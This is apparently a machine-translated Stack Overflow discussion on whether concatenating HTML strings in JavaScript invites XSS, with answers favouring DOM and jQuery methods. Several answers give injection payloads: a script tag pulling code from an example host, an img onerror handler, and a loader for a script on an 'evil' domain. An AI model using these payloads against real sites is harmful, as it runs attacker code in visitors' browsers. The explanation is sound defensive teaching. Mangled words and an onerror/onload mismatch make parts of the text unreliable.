在Javascript中构buildHTMLstring真的不安全吗?
托pipe我们网站的公司在部署之前审查我们的代码 – 他们最近告诉我们这个:
不应该直接操纵HTMLstring,因为这会打开潜在的XSS漏洞。 相反,总是使用DOM API创build元素…可以是jQuery或直接的DOM API。
例如,而不是
this.html.push( '<a class="quiz-au" data-src="' + this.au + '"><span class="quiz-au-icon"></span>Click to play</a>' ); 他们告诉我们这样做
 var quizAuLink = $( 'a' ); quizAuLink.addClass( 'quiz-au' ); quizAuLink.data( 'src', this.au ); quizAu.text( 'Click to play' ); quizAu.prepend( '<span class="quiz-au-icon"></span>' ); 
这是真的吗? 任何人都可以给我们一个XSS攻击的例子,可以利用像第一个HTMLstring?
 如果this.au以某种方式修改,它可能包含这样的内容: 
 "><script src="http://example.com/evilScript.js"></script><span class=" 
这会弄乱你的HTML并注入一个脚本:
 <a class="quiz-au" data-src=""><script src="http://example.com/evilScript.js"></script><span class=""><span class="quiz-au-icon"></span>Click to play</a> 
 如果你使用DOM操作来设置src属性,那么脚本(或者你使用的任何其他的XSS)将不会被执行,因为它将被DOM API正确地转义。 
 对于一些评论者的回应是,如果有人能够修改this.au ,他们当然可以自己来运行脚本:我不知道这个this.au是从哪里来的,也不是特别相关的。 这可能是数据库中的一个值,数据库可能已经被盗用。 也可能是一个恶意用户试图为其他用户搞砸。 甚至可能是一个天真的非技术人员,他不知道写"def" > "abc"会破坏东西。 
 还有一件事。 在你提供的代码中, var quizAuLink = $( 'a' ); 将不会创build一个新的<a>元素。 它只会select所有现有的。 你需要使用var quizAuLink = $( '<a>' ); 创造一个新的。 
这应该是一样安全的,没有太多的可读性妥协:
 var link = $('<a class="quiz-au"><span class="quiz-au-icon"></span>Click to play</a>'); link.data("src", this.au); 
 重点是避免string操作来构buildHTMLstring。 请注意,在上面,我使用$()来parsing一个常量string,它parsing为一个众所周知的结果。 在这个例子中,只有this.au部分是危险的,因为它可能包含dynamic计算的值。 
 由于您无法使用.innerHTML在现代浏览器中注入脚本标记,因此您需要监听一个事件: 
 如果this.au以某种方式修改,它可能包含这样的内容: 
 "><img src="broken-path.png" onerror="alert('my injection');"><span class=" 
这会弄乱你的HTML并注入一个脚本:
 <a class="quiz-au" data-src=""><img src="broken-path.png" onload="alert('my injection')"><span class=""><span class="quiz-au-icon"></span>Click to play</a> 
因为运行更大块的JavaScript设置错误:
 var d = document; s = d.createElement('script'); s.type='text/javascript'; s.src = 'www.my-evil-path.com'; d.body.appendChild(s); 
感谢Scimoster的样板
除了安全性之外,当你用JavaScript构buildHTML时,你必须确保它是有效的。 虽然可以通过string操作*来构build和消毒HTML,但DOM操作要方便得多。 不过,你必须确切知道你的string的哪一部分是HTML,哪一部分是文本文本。
考虑下面的例子,我们有两个硬编码的variables:
 var href = "/detail?tag=hr©%5B%5D=1", text = "The HTML <hr> tag"; 
以下代码天真地构buildHTMLstring:
 var div = document.createElement("div"); div.innerHTML = '<a href="' + href + '">' + text + '</a>'; console.log(div.innerHTML); // <a href="/detail?tag=hr©%5B%5D=1">The HTML <hr> tag</a> 
 这使用jQuery,但它仍然不正确(它使用.html() 应该是文本的variables ): 
 var div = document.createElement("div"); $("<a></a>").attr("href", href).html(text).appendTo(div); console.log(div.innerHTML); // <a href="/detail?tag=hr&copy%5B%5D=1">The HTML <hr> tag</a> 
这是正确的,因为它按预期显示文本 :
 var div = document.createElement("div"); $("<a></a>").attr("href", href).text(text).appendTo(div); console.log(div.innerHTML); // <a href="/detail?tag=hr&copy%5B%5D=1">The HTML <hr> tag</a> 
结论:使用DOM操作/ jQuery不保证任何安全性,但它确实是正确的一步。
*看到这个问题的例子 。 讨论了string和DOM操作。